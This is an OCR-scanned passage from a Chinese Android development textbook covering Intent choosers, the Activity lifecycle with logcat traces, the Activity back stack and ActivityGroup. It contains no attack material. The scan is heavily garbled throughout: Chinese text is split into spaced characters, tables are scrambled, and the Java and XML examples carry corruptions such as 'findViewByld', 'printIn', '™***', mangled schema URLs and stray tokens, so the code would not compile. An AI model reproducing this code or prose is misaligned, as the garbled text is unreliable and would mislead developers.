【 例 9-26】 定义 Activity 程序 显示 文件 选择 器 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Intent'; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.ImageButton; 
public class MylntentCaseDemo extends Activity { 
private ImageButton mybut = null; /按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); /默认 布局 管理 器 
this.mybut = (ImageButton) super.findViewByld(R.id.mybut)， // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()); /定义 单 击 事件 


} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
Intent intent = new Intent(); /定义 Intent 
intent.setAction(Intent.ACTION_GET_CONTENT); // 指 定 Action 
intent.setType("image/*"); // 定 义 操作 类 型 
MylntentCaseDemo.this.startActivity(Intent.createChooser(intent, 
"选择 图 片 浏览 工具 ")); // 创 建 选择 器 
1 
} 


} 
本 程序 主要 是 在 按钮 中 配置 了 一 个 单 击 事件 ， 当 用 户 单 击 按 钮 之 后 会 产生 一 个 Intent 对 象 ， 
并 跳 转 到 指定 的 Action (Intent.ACTION_GET_ CONTENT) 上 , 而 后 使 用 Intent 中 的 createChooserO0 
方法 打开 程序 操作 的 选择 器 , 但 是 可 以 发 现 ， 本 程序 并 没有 指明 要 跳 转 的 Intent 类 ， 而 是 通过 配 
置 文件 完成 。 
【 例 9-27】 定义 执行 操作 的 Intent 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.ImageView; 
public class ImageViewActivity extends Activity { 
@Override 
protected void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setTitle(" 查 看 图 片 "); // 设 置 标题 
ImageView img = new ImageView(this); // 实 例 化 ImageView 
img.setImageResource(R.drawable.m/ldn_ad); // 定 义 显示 图 片 
super.setContentView(img); // 设 置 组 件 
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本 程序 的 主要 功能 是 在 屏幕 上 显示 一 张 完整 的 图 片 ， 所 以 直接 在 屏幕 上 设置 了 一 个 图 片 显 


示 组 件 。 
【 例 9-28】 配置 AndroidManifestxml 文件 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmlns:android= "httpschemas.anadroia.comyapkes/anaroid” 


package="org./xh.demo” // 程 序 所 在 的 包 
android:versionCode="1" // 程 序 的 版 本 编号 
android:versionName="1.0"> // 显 示 给 程序 的 编号 名 称 
<uses-sdk android:minSdkVersion="10"/> // 程 序 运行 的 最 低级 别 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon" android:label="@string/app_name"> 
<activity // 配 置 Activity 程序 
android:screenOrientation="/landscape” /屏幕 变 为 横 屏 显示 
android:name="MyintentCaseDemo" /程序 类 名 称 
android:label="@string/app_name"> // 程 序 的 显示 标题 
<intent-filter> // 程 序 运 行 起 点 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 

<activity // 配 置 Activity 程序 
android:screenOrientation="/landscape” // 屏 幕 变 为 横 屏 显示 
android:name="/mageViewActivity"> // 程 序 类 名 称 
<intent-filter> // 执 行 此 操作 的 过 滤 检 查 


<action android:name="android.intent.action.GET_CONTENT"/> 
<category android:name="android.intent.category.DEFAULT" /> 
<category android:name="android.intent.category. OPENABLE" /> 
<data android:mimeType="image/jpeg" /> 
</intent-filter> 
</activity> 
</application> 
</manifest> 


本 程序 直接 采用 <intent-filter> 节 点 配置 了 程序 的 启动 过 滤 ， 这 样 在 设置 类 型 (setType0) 为 


“image/*” 时 会 自动 执行 此 Activity 程序 ， 程 序 的 运行 效果 如 图 9-18 所 示 ， 而 程序 打 


后 的 运行 效果 如 图 9-19 所 示 。 
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图 9-19 指定 操作 的 程序 


图 库 之 
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9.3 Activity 生命 周期 


学 习 完 Intent 的 基本 概念 之 后 ， 下 面 讲 解 Activity 生命 周期 的 完整 概念 。 众 所 周知 ，Activity 

是 整个 Android 平台 的 基本 组 成 ， 而 其 生命 周期 主要 包含 3 个 阶段 。 
(1) 运行 态 (Running State) 

此 时 Activity 程序 显示 在 屏幕 前 台 ， 并 且 具 有 焦点 ， 可 以 和 用 户 的 操作 进行 交互 ， 如 向 用 户 

提供 信息 、 捕 获 用 户 单 击 按钮 的 事件 并 作 处 理 。 
(2) 暂停 态 (Paused State) 

此 时 Activity 程序 失去 了 焦点 ， 并 被 其 他 处 于 运行 态 的 Activity 取代 在 屏幕 前 台 显 示 ， 如 果 
切换 后 的 Activity 程序 不 能 铺 满 整个 屏幕 窗口 或 者 是 本 身 具 备 透 明 效 果 ， 则 该 暂停 态 的 Activity 
程序 对 用 户 仍然 可 见 ， 但 是 不 可 以 与 其 进行 交互 。 

(3) 停止 态 (Stopped State) 

停止 态 的 Activity 不 仅 没有 焦点 ,而 且 完 全 不 可 见 , 但 是 也 会 保留 自身 的 运行 状态 。 停止 态 
的 Activity 会 在 系统 需要 时 被 结束 。 

当 Activity 程序 在 不 同 状 态 之 间 进行 切换 时 ， 可 以 通过 获 写 Activity 类 中 的 相关 方法 来 执行 
相应 的 操作 ， 这 些 方法 如 表 9-10 所 示 。 


表 9-10 Activity 程序 的 生命 周期 控制 方法 


No. 方 ” 法 | 类 型 | 是 否 可 关闭 描述 


protected void onCreate(Bundle 当 Activity 程序 启动 之 后 会 首先 调用 


ke KT 
, savedInstanceState) 曾 通 在 此 方法 
ivity 程序 停止 后 再 次 显示 给 
2 |protected void onRestart() 不 可 以 人 人 
时 调用 
当 第 一 次 显示 十 
3 |protected void onStartO | | 不 可 以 std 用 


4_|protected void onResumeO | 普通 | 不 可 以 | 当 获 得 用 户 焦点 时 调用 此 方法 

当 启 动 其 他 Activity 程序 时 调用 此 方 
5 |protected void onPause0 普通 可 以 法 ， 用 于 进行 数据 的 提交 、 动 画 处 理 
等 操作 

当 一 个 Activity 程序 完全 不 可 见 时 调 
用 此 方法 ， 此 时 并 不 会 销毁 Activity 
程序 

程序 被 销毁 时 调用 ， 当 调用 finish0 方 
法 或 系统 资源 不 够 用 时 将 调用 此 方法 


6 |protected void onStopO 


7 |protected void onDestroyO 


由 于 手机 资源 (如 电源 、CPU 等 ) 有 限 ， 所 以 当 一 个 Activity 程序 运行 时 ， 需 要 对 资源 进 
行 一 些 优化 ， 那 么 就 需要 关闭 一 些 应 用 程序 ， 而 表 9-10 中 凡是 可 以 关闭 的 程序 都 有 可 能 在 不 使 
用 时 被 Android 操作 系统 自动 关闭 。 

这 7 种 方法 分 别 对 应 着 Activity 的 7 种 操作 状态 ， 执 行 流程 如 图 9-20 所 示 。 
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onCreate0 


运行 态 | 人 重新 获得 焦点 


运行 其 他 Activity 程 序 
将 占用 的 资源 分 配给 其 他 程序 onPause0 


暂停 态 


onDestroy0 


图 9-20 Activity 程序 的 生命 周期 
下 面 通过 一 个 完整 的 程序 来 观察 Activity 的 生命 周期 。 在 本 程序 中 ， 将 为 读者 准备 两 个 
Activity 程序 ，FirstActivity 和 SecondActivity， 并 且 在 两 个 Activity 程序 中 分 别 履 写 好 生命 周期 
的 控制 方法 ， 使 用 Intent 完成 两 个 程序 的 跳 转 功能 。 
【 例 9-29】 定义 FirstActivity 的 布局 文件 
<?xml version= "1.0" encoding="utf-8"?> 


first main .xml 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<Button /定义 按钮 组 件 

android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 

android:text= "启动 笋 二 个 Activity 牌 庐 ' /| 默认 显示 文字 

android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 

android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 9-30】 定义 FirstActivity 程序 ， 进 行 Intent 的 跳 转 操作 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Intent'; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
public class FirstActivity extends Activity { 
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private Button but = null ; 

@Override 

public void onCreate(Bundle savedInstanceState) { 
System.out.printIn(™*** {A} FirstActivity --> onCreate()") ; 
super.onCreate(savedInstanceState); 


setContentView(R.layout.first_main); // 找 到 布局 文件 
this.but = (Button) super.findViewByld(R.id.mybut) ; // 取 得 按钮 组 件 
this.but.setOnClickListener(new OnClickListener(){ // 设 置 监听 操作 
@Override 
public void onClick(View v) { // 单 击 事件 
Intent it = new Intent(FirstActivity.this,SecondActivity.class) ; 
FirstActivity.this.startActivity(it) ; /启动 其 他 程序 
])， 
@Override 
protected void onStart() { // 第 一 次 创建 界面 时 调用 
System.out.printIn(™*** {A} FirstActivity --> onStart()") ; 
super.onStart() ; // 调 用 父 类 方法 
} 
@Override 
protected void onResume() { // 获 得 焦点 时 触发 
System.out.printIn(™*** {A} FirstActivity --> onResume() ); 
super.onResume() ; // 调 用 父 类 方法 
} 
@Override 
protected void onPause() { // 当 启动 其 他 Activity 时 触发 
System.out.printIn(™*** {A} FirstActivity -> onPause()"); 
super.onPause() ; // 调 用 父 类 方法 
} 
@Override 
protected void onStop() { // 当 Activity 不 可 见 时 调用 
System.out.printIn(™*** {A} FristActivity --> onStop()"); 
Super.onStop() ; // 调 用 父 类 方法 
} 
@Override 
protected void onRestart() { // 当 Activity 重新 运行 时 调用 
System.out.printIn(™*** {A} FirstActivity --> onRestart()"); 
super.onRestart() ; // 调 用 父 类 方法 
} 
@Override 
protected void onDestroy() { // 当 Activity 销毁 时 调用 
System.out.printiIn(™*** {A} FirstActivity --> onDestroy()"); 
super.onDestroy() ; // 调 用 父 类 方法 
} 


在 本 程序 中 覆 写 了 生命 周期 控制 的 7 个 方法 ， 并 且 在 方法 中 增加 了 相应 的 输出 语句 。 
【 例 9-31】 定义 SecondActivity 程序 的 布局 文件 

<?xml version="1.0" encoding="utf-8"?> 

<LinearLayout // 定 义 线性 布局 管理 器 


second_main.xml 
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xmlIns:android="http:/schemas.android.com/apK/res/android™" 


android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 的 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 的 高 度 为 屏幕 高 度 
<Button // 定 义 按钮 组 件 
android:id="@+id/mybut” 1// 组 件 IiD， 程 序 中 使 用 
android:text=" 盗 右 第 一 个 Activity 稀 房 ' // 默 认 显示 文字 
android:layout_width="wrap_content”" 1/ 组件 宽度 为 文字 宽度 
android:layout_height="wrap_content”" /> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


【 例 9-32】 定义 SecondActivity 程序 并 履 写 相应 的 生命 周期 控制 方法 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.Intent; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
public class SecondActivity extends Activity { 
private Button but = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
System.out.printIn(™*** [B] SecondActivity --> onCreate()") ; 
Super.onCreate(savedlnstanceState); 
setContentView(R.layout.second_main); // 调 用 布局 管理 器 
this.but = (Button) super.findViewByld(R.id.mybub ; // 取 得 按钮 组 件 
this.but.setOnClickListener(new OnClickListener(){ // 设 置 单 击 事件 


@Override 
public void onClick(View v) { // 单 击 操作 
Intent it = new Intent(SecondActivity.this, FirstActivity.class) ; 
SecondActivity.this.startActivity(it) ; // 启 动 其 他 程序 
SecondActivity.this finish() ; 1/ 销毁 操作 
D); 
} 
@Override 
protected void onStart() { // 第 一 次 创建 界面 时 调用 
System.out.printiIn(™*** [B] SecondActivity --> onStart()") ; 
super.onStart() ; // 调 用 父 类 方法 
} 
@Override 
protected void onResume(){ // 获 得 焦点 时 触发 
System.out.printin(™*** [B] SecondActivity --> onResume() ); 
super.onResume() ; // 调 用 父 类 方法 
} 
@Override 
protected void onPause(){ // 当 启动 其 他 Activity 时 触发 
System.out.printIn(™*** [B] SecondActivity --> onPause()"); 
superonPause() ; // 调 用 父 类 方法 
} 
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@Override 

protected void onStop() { // 当 Activity 不 可 见 时 调用 
System.out.printin(™*** [B] SecondActivity --> onStop()"); 
super.onStop() ; // 调 用 父 类 方法 

| 

@Override 

protected void onRestart() { // 当 Activity 重新 运行 时 调用 
System.out.printin(™*** [B] SecondActivity --> onRestart()"); 
super.onRestart() ; // 调 用 父 类 方法 

} 

@Override 

protected void onDestroy() { // 当 Activity 销毁 时 调用 
System.out.printIn(™*** [B] SecondActivity --> onDestroy()"); 
super.onDestroy() ; // 调 用 父 类 方法 


! 序 与 FirstActivity 的 基本 结构 类 似 ， 同 样 是 将 7 个 生命 周期 方法 进行 了 履 写 ， 并 且 在 按 
钮 单 击 事件 中 让 其 返回 到 FirstActivity 程序 。 
【 例 9-33】 修改 AndroidMainfestxml 文件 ， 配 置 两 个 Activity 程序 
<?xml version= "1.0" encoding="utf-8"?> 
<manifest xmIns:android="http://schemas.android.com/apk/res/android" 


package="org./xh.demo” // 程 序 所 在 包 
android:versionCode="1" // 定 义 的 版 本 号 
android:versionName="1.0"> // 显 示 给 用 户 的 版 本 号 
<application // 定 义 应 用 程序 
android:icon="@drawable/icon” // 程 序 图 标 
android:label="@string/app_name’> // 显 示 文 字 
<activity // 定 义 Activity 程序 
android:name=".FirstActivity" // 程 序 类 名 称 
android:label="@string/app_name’> // 程 序 名 称 
<intent-filter> // 定 义 运行 模式 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 


</intent-filter> 
</activity> 
<activity // 定 义 Activity 程序 
android:name=". SecondActivity" // 程 序 类 名 称 
android:label="@string/app_name'/> /程序 名 称 
</application> 
<uses-sdk android:minSdkVersion="10"/> // 最 低 运 行 版 本 
</manifest> 
在 文件 中 配置 了 两 个 Activity 程序 ， 并 且 将 FirstActivity 设置 为 默认 运行 的 Activity。 此 外 ， 


于 本 程序 中 生命 周期 的 所 有 操作 都 是 通过 System.outprintin0 语 句 进行 输出 的 ， 为 了 更 清楚 地 
观察 这 些 输 出 的 内 容 , 下 面 先 设置 信息 输出 的 过 滤 操 作 , 直接 选择 开发 工具 的 Create Filter 操作 ， 
如 图 9-21 所 示 。 

之 后 将 出 现 如 图 9-22 所 示 的 对 话 框 ,在 by Log Tag 文 本 框 中 输入 要 过 滤 显 示 的 语句 “System. 
out” 即 可 。 
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Fiker Name: ystem 输 出 


by Log Tag: ystem ou 
by pid: 


[er ororo Ye eI 
图 9-21 创建 过 滤器 图 9-22 配置 过 滤 信息 


由 于 生命 周期 控制 的 操作 是 在 不 同 的 运行 状态 下 触发 的 操作 ， 为 了 说 明 这 些 方法 的 作用 ， 


将 按照 如 下 步骤 控制 程序 的 运行 。 


(1) 程序 运行 时 ， 将 默认 启动 FirstActivity 程序 ， 此 时 系统 输出 如 下 : 
12-21 03:36:04.862: INFO/System.out(390): *** {A} FirstActivity --> onCreate() /启动 程序 


12-21 03:36:04.973: INFO/System.out(390): *** {A} FirstActivity --> onStart() // 创 建 界面 
12-21 03:36:04.973: INFO/System.out(390): *** {A} FirstActivity --> onResume() // 程 序 执行 
在 一 个 Activity 程序 启动 时 ， 将 按照 顺序 调用 onCreate0、onStart)、onResume() 方 法 。 


(2) 在 FirstActivity 程序 中 通过 按钮 跳 转 到 SecondActivity 程序 时 ， 系 统 输 出 如 下 : 
12-21 03:36:46.842: INFO/System.out(390): ** {A} FirstActivity -> onPause()// 第 一 个 程序 准备 停止 
12-21 03:36:46.932: INFO/System.out(390): *** [B] SecondActivity --> onCreate()// 启 动 第 二 个 程序 
12-21 03:36:46.973: INFO/System.out(390): ** [B] SecondActivity --> onStart()// 创 建 第 二 个 程序 界面 
12-21 03:36:46.973: INFO/System.out(390): ** [B] SecondActivity --> onResume()// 第 二 个 程序 获 
12-21 03:36:47.403: INFO/System.out(390): ** {A} FristActivity -> onStop()// 第 一 个 程序 停止 运行 
当 通 过 FristActivity 程序 启动 SecondActivity 程序 之 后 ， 首 先 执 行 FirstActivity 程序 中 的 


onPause() 方 法 ， 这 样 可 以 将 FirstActivity 程序 中 未 操作 完 的 数据 进行 提交 或 者 是 终止 某 些 操作 ， 
当 SecondActivity 程序 启动 之 后 也 将 和 FirstActivity 程序 一 样 ， 依 次 调用 onCreate()、onStart()、 
onResume() 方 法 ， 调 用 完 这 3 个 方法 之 后 ， 由 于 SecondActivity 程序 将 掩盖 掉 FirstActivity 程序 
的 显示 ， 用 户 也 无 法 见 到 FirstActivity 程序 ， 所 以 FirstActivity 程序 将 调用 onStop() 方 法 。 


(3) 跳 转 到 SecondActivity 程序 之 后 ,通过 手机 的 “返回 (Esc) ”按钮 返回 到 FirstActivity 


时 ,程序 输出 如 下 : 


12-21 03:40:46.334: INFO/System.out(390): *** [B] SecondActivity --> onPause()// 第 二 个 程序 准备 
停止 

12-21 03:40:46.392: INFO/System.out(390): *** {A} FirstActivity --> onRestart()// 第 一 个 程序 重新 启动 
12-21 03:40:46.392: INFO/System.out(390): *** {A} FirstActivity --> onStart() /启动 界面 
12-21 03:40:46.392: INFO/System.out(390): *** {A} FirstActivity --> onResume() /获得 焦点 
12-21 03:40:46.713: INFO/System.out(390): ** [B] SecondActivity --> onStop()// 第 二 个 程序 终止 
12-21 03:40:46.713: INFO/System.out(390): *** [B] SecondActivity --> onDestroy()// 第 二 个 程序 销毁 
当 通 过 “返回 ”按钮 从 SecondActivity 程序 返回 到 FirstActivity 程序 时 ， 也 将 按照 与 之 前 同样 


的 步骤 ， 但 是 此 时 会 调用 SecondActivity 程序 的 onDestroy0 方 法 以 执行 程序 销毁 前 的 一 些 操作 。 


(4) 当 通 过 SecondActivity 程序 返回 到 FirstActivity 程序 时 (通过 “返回 第 一 个 Activity 程 


序 ” 按 钮 操作 ) ， 系 统 输出 如 下 : 


12-21 06:53:22.833: INFO/System.out(420): ** [B] SecondActivity --> onPause()// 第 二 个 程序 准备 
停止 
12-21 06:53:22.862: INFO/System.out(420): *** {A} FirstActivity --> onCreate() // 第 一 个 程序 启动 
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12-21 06:53:22.892: INFO/System.out(420): *** {A} FirstActivity --> onStart()// 第 一 个 程序 显示 界面 
12-21 06:53:22.892: INFO/System.out(420): ** {A} FirstActivity -> onResume()// 第 一 个 程序 获得 焦点 
12-21 06:53:23.313: INFO/System.out(420): *** [B] SecondActivity --> onStop()// 第 二 个 程序 停止 
12-21 06:53:23.313: INFO/System.out(420): ** [B] SecondActivity --> onDestroy()Wfinish() 方 法 使 第 
二 个 程序 销毁 
1 于 此 时 是 通过 Intent 的 形式 返回 到 第 一 个 程序 ， 所 以 其 执行 过 程 与 之 前 类 似 ， 但 是 在 
SecondActivity 程序 中 的 按钮 单 击 操作 里 执行 了 finish0 方 法 ， 所 以 此 时 会 将 SecondActivity 程序 
销毁 ， 而 调用 onDestroy(0 方 法 ， 如 果 用 户 不 需要 销毁 程序 ， 则 直接 将 finish0 方 法 取消 调用 即 可 。 

通过 以 上 程序 可 以 发 现 ， 当 SecondActivity 程序 完全 遮盖 住 FirstActivity 程序 时 ， 将 会 调用 
FirstActivity 程序 中 的 onStop0 方 法 ， 否 则 不 会 调用 onStop() 方 法 。 

【 例 9-34】 修改 AndroidManifest.xml 文件 中 SecondActivity 程序 的 配置 ， 将 SecondActivity 
得 序 修改 为 对 话 框 显示 


<activity // 配 置 Activity 程序 
android:name=". SecondActivity" /Activity 程序 类 
android:label="@string/app_name”" // 显 示 文字 
android:theme="@android:style/Theme.Dialog"> // 按 对 话 框 风格 显示 
</activity> 


此 时 ， 当 用 户 启动 SecondActivity 程序 时 ，SecondActivity 程序 将 无 法 完全 遮盖 FirstActivity 
程序 ， 如 图 9-23 所 示 。 


CEESTTTTEZ 


Activity 生 命 周期 


返回 第 一 个 Activity 程 序 


图 9-23 无 ; 


下 面 同 样 采用 分 步 的 操作 方式 ， 观 察 此 时 的 Activity 生命 周期 操作 。 
(1) Activity 程序 启动 ， 即 运行 FirstActivity 程序 ， 信 息 如 下 : 
12-21 07:54:04.862: INFO/System.out(390): *** {A} FirstActivity --> onCreate() // 启 动 程序 
12-21 07:54:04.973: INFO/System.out(390): *** {A} FirstActivity --> onStart() // 创 建 界面 
12-21 07:54:04.973: INFO/System.out(390): *** {A} FirstActivity --> onResume() /程序 执行 
(2) 当 用 户 通过 FirstActivity 程序 打开 SecondActivity 程序 之 后 ， 由 于 不 会 发 生 遮 盖 操 作 ， 
所 以 此 时 程序 后 台 的 输出 信息 中 将 不 会 出 现 onStop() 方 法 的 调用 ， 信 息 如 下 : 
12-21 07:55:49.293: INFO/System.out(478): *** {A} FirstActivity --> onPause()// 第 一 个 程序 准备 停止 
12-21 07:55:49.383: INFO/System.out(478): *** [B] SecondActivity --> onCreate()// 启 动 第 二 个 程序 
12-21 07:55:49.432: INFO/System.out(478): *** [B] SecondActivity --> onStart()// 第 二 个 程序 显示 界面 
12-21 07:55:49.451: INFO/System.out(478): *** [B] SecondActivity --> onResume() /第 二 个 程序 
获得 焦点 
通过 运行 可 以 发 现 ,第 二 个 Activity 程序 运行 时 ,只 是 调用 了 FirstActivity 程序 中 的 onPause() 


去 完全 遮盖 
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方法 


， 并 没有 调用 onStop0 方 法 。 

(3) 当 用 户 通过 手机 的 “返回 ”按钮 关闭 对 话 框 之 后 ， 系 统 输出 如 下 : 
12-21 08:03:25.003: INFO/System.out(478): *** [B] SecondActivity --> onPause()// 第 二 个 Activity 程 
序 准备 停止 
12-21 08:03:25.143: INFO/System.out(478): ** {A} FirstActivity --> onResume()// 第 一 个 Activity 程 
序 获得 焦点 
12-21 08:03:25.223: INFO/System.out(478): ** [B] SecondActivity --> onStop()// 第 二 个 Activity 程 
序 终 止 
12-21 08:03:25.223: INFO/System.out(478): *** [B] SecondActivity --> onDestroy()// 第 二 个 Activity 
程序 销毁 
可 以 发 现 ， 当 通过 “返回 ”按钮 返回 之 后 ， 对 于 FirstActivity 程序 而 言 只 是 重新 获得 了 焦点 ， 


而 SecondActivity 程序 则 将 停止 并 且 销毁 。 


操作 
按照 


后 立刻 调用 FirstActivity 程序 中 的 onStop0 方 法 停 


(4) 如 果 直 接 利 用 SecondActivity 程序 中 的 按钮 (通过 “返回 第 一 个 Activity 程序 ”按钮 
) 返回 FirstActivity 程序 ， 则 意味 着 之 前 的 所 有 操作 (FirstActivity、SecondActivity〉 都 将 
新 的 程序 重新 执行 ， 此 时 输出 如 下 : 

12-21 07:57:26.053: INFO/System.out(478): *** [B] SecondActivity --> onPause()// 第 二 个 Activity 程 
序 准备 停止 

12-21 07:57:26.152: INFO/System.out(478): ** {A} FristActivity -> onStop()/ 停 止 第 一 个 Activity 程序 
12-21 07:57:26.152: INFO/System.out(478): *** {A} FirstActivity --> onCreate()// 启 动 第 一 个 Activity 
程序 

12-21 07:57:26.183: INFO/System.out(478): *** {A} FirstActivity --> onStart()// 第 一 个 Activity 程序 显 
示 界 面 

12-21 07:57:26.183: INFO/System.out(478): *** {A} FirstActivity --> onResume()// 第 一 个 Activity 程 
序 获得 焦点 

12-21 07:57:26.514: INFO/System.out(478): *** [B] SecondActivity --> onStop()// 第 二 个 Activity 程 
序 停止 

12-21 07:57:26.514: INFO/System.out(478): ** [B] SecondActivity --> onDestroy()// 第 二 个 Activity 
通过 finish() 销 毁 

可 以 发 现 ， 此 时 首先 会 调用 SecondActivity 中 的 onPause0 方 法 让 第 二 个 程序 准备 停止 ， 随 
上 FirstActivity 程序 的 操作 ， 随 后 重新 运行 


FirstActivity 程序 ， 而 此 时 的 SecondActivity 程序 将 终止 并 销毁 。 


钮 返 


Seco 


在 本 程序 中 只 定义 了 两 个 Activity 程序 ， 当 跳 转 到 第 二 个 Activity 程序 后 ， 通 过 “返回 ” 按 
可 前 一 个 Activity 程序 ， 那 么 如 果 现 在 有 多 个 Activity 程序 呢 ? 

在 Android 操作 系统 中 ， 如 果 是 多 个 有 关联 的 Activity 一 起 操作 ， 如 “FirstActivity 一 
ndActivity 一 ThirdActivity 一 调用 拨号 程序 ”， 则 所 有 的 Activity 将 自动 压 入 到 一 个 栈 中 ， 而 


当 单 击 “ 返 回 ” 按 钮 时 将 按照 先进 后 出 的 原则 从 栈 中 弹出 每 一 个 Activity 程序 ， 如 图 9-24 所 示 。 


一 -> 
栈 项 楼 项 


一 > 一 > 

栈 底 Stack 醒 底 Stack 

(a) 启动 SecondActivity (b) 启动 ThirdActivity 
图 9-24 多 个 Activity 程序 的 入 栈 操作 
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此 时 ， 程 序 最 后 执行 的 将 是 拨号 程序 ， 而 当 单 击 “ 返 回 ” 按 钮 之 后 ， 将 退回 到 ThirdActivity， 
即将 ThirdActivity 程序 从 栈 中 弹出 恢复 执行 ， 如 图 9-25 (a) 所 示 ， 如 果 继 续 单 击 “ 返 回 ” 按 钮 ， 则 
弹出 SecondActivity， 如 图 9-25 (b) 所 示 ， 最 后 弹出 的 是 FirstActivity 程序 ， 如 图 9-25 (c) 所 示 。 


E 出 栈 —> T ae 
不 2 | 


一 > 
栈 底 Stack 栈 底 Stack 醒 底 Stack 
(a) 出 栈 (b) 出 栈 (c) 出 栈 
图 9-25 多 个 Activity 程序 的 出 栈 操作 
但 是 ， 如 果 此 时 有 一 个 Activity FTIR 使用 了 finish0 不 会 入校 
程序 调用 了 finish() 方 法 , 则 就 意味 着 i sy 
该 Activity 程序 不 会 入 栈 ， 例 如 ， 如 Me 本 
果 现 在 在 SecondActivity 程序 中 使 用 1 
了 SecondActivity.this.finish(): 方 法 ， ve 
则 表示 不 会 将 此 程序 入 栈 , 如 图 9.26 1 -一 一 
所 示 。 EX EX 
SecondActivity 程序 一 旦 调用 了 过 Stack Pg Stack 
finish() 方 法 ， 则 意味 着 将 被 销毁 ， 所 图 9.26 不 入 栈 操作 


以 不 会 入 栈 ， 则 以 后 执行 出 栈 操作 时 
不 会 再 显示 SecondActivity 程序 。 


er 


代码 不 再 重复 列 出 。 

由 于 此 程序 中 的 代码 重复 较 多 ， 所 以 代码 不 再 列 出 ， 读 者 可 以 直接 参考 光盘 中 的 相关 代 
码 ,代码 所 在 目录 为 “0300 第 三 部 分 : Android 高 级 开发 \0309 Android 通 信 \03090203_Activity 
生命 周期 (Activity 入 栈 及 出 栈 操作 ) ”， 或 者 参考 随 书 视频 讲解 。 


9.4 ActivityGroup 组 件 


工具 导航 栏 在 Android 软件 的 开发 中 随处 可 见 ， 
而 使 用 过 Android 手机 的 用 户 应 该 都 见 过 如 图 9-27 所 
示 的 系统 导航 栏 。 图 9-27 系统 导航 栏 

在 本 书 第 7 章 中 曾经 讲解 过 如 何 使 用 TabHost( 标 

签 组 件 ) 在 一 个 Activity 程序 中 搭建 操作 界面 ， 但 是 从 实际 开发 角度 来 讲 ，TabHost 组 件 在 操作 
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中 使 用 较 困 难 ， 所 以 一 般 不 会 作为 实现 界面 分 页 框架 的 首选 ， 使 用 最 多 的 是 ActivityGroup 与 

GridView 相 结 合 的 方式 。 

在 之 前 的 程序 中 ， 每 一 个 Activity 程序 都 是 采用 屏幕 独占 的 方式 运行 的 ， 而 使 用 

ActivityGroup 就 可 以 让 多 个 Activity 程序 同时 运行 在 一 个 屏幕 上 , 而 且 每 一 个 Activity 将 继续 独 

立地 工作 , 在 Android 中 专门 为 用 户 提供 了 android.app.ActivityGroup 类 ， 此 类 的 继承 结构 如 下 : 
java.lang.Object 


b android.content.Context 
b android.content.ContextWrapper 
b android.view.ContextThemeWrapper 
b android.app.Activity 
b android.app.ActivityGroup 
通过 继承 关系 可 以 发 现 ,ActivityGroup 本 身 是 Activity 类 的 子 类 ,所 以 本 类 可 以 继承 Activity 
类 中 所 定义 的 方法 ， 除 此 之 外 ， 还 可 以 使 用 如 表 9-11 所 示 的 常用 方法 。 
表 9-11 ActivityGroup 类 的 常用 方法 


No, 描述 
1 取得 当前 的 Activity 对 象 


blic final LocalActivityM: 和 Bg 
Eo Ee. RE 党 取得 LocalActivityManager 类 的 对 象 
getLocalActivityManager() 


通过 表 9-11 可 以 发 现 ， 在 ActivityGroup 类 中 有 一 个 getLocalActivityManager() 方 法 ， 此 类 
返回 一 个 LocalActivityManager 类 的 对 象 ， 通 过 LocalActivityManager 类 的 对 象 可 以 管理 嵌 套 在 
-起 的 多 个 Activity 程序 ， 该 类 的 常用 方法 如 表 9-12 所 示 。 


表 9-12 LocalActivityManager 类 的 常用 方法 


No IT 描述 


public Activity getActivity(String id) -二 取得 一 个 指定 的 Activity 
当 用 户 通 过 LocalActivityManager 类 调用 startActivity() 方 法 之 后 ， 会 返回 一 个 android.view. 
Window 类 的 对 象 ， 此 对 象 表 示 整 个 Android 运行 程序 的 窗口 界面 ， 而 Window 类 更 是 规定 了 
Android 窗口 的 基本 属性 及 功能 ， 为 了 更 好 地 说 明 Window 的 作用 ， 在 表 9-13 中 列 出 了 android. 
view.Window 类 的 常用 属性 及 方法 。 


tD 


表 9-13 Window 类 的 常用 属性 及 方法 


描述 
public static final int FEATURE NO TITLE 时 不 显示 标题 
public static final int FEATURE CUSTOM TITLE 常量 自 定义 标题 
public static final int FEATURE RIGHT ICON 常 在 标题 栏 右 侧 显 示 图 标 
public static final int FEATURE LEFT ICON 常量 “| 在 标题 栏 左 侧 显示 图 标 


S77 


名 师 讲坛 一 一 Android 开发 实战 经 典 


描述 

bbe siaie Bai FEATURE PROGRESS | | 标题 栏 上 加 载 进度 条 
进度 条 可 见 

public static final int PROGRESS INDETERMINATE OFF 常 进度 条 不 可 见 

public static final int PROGRESS START [| 进度 条 开始 

public static final int PROGRESS END 和 进度 条 结束 

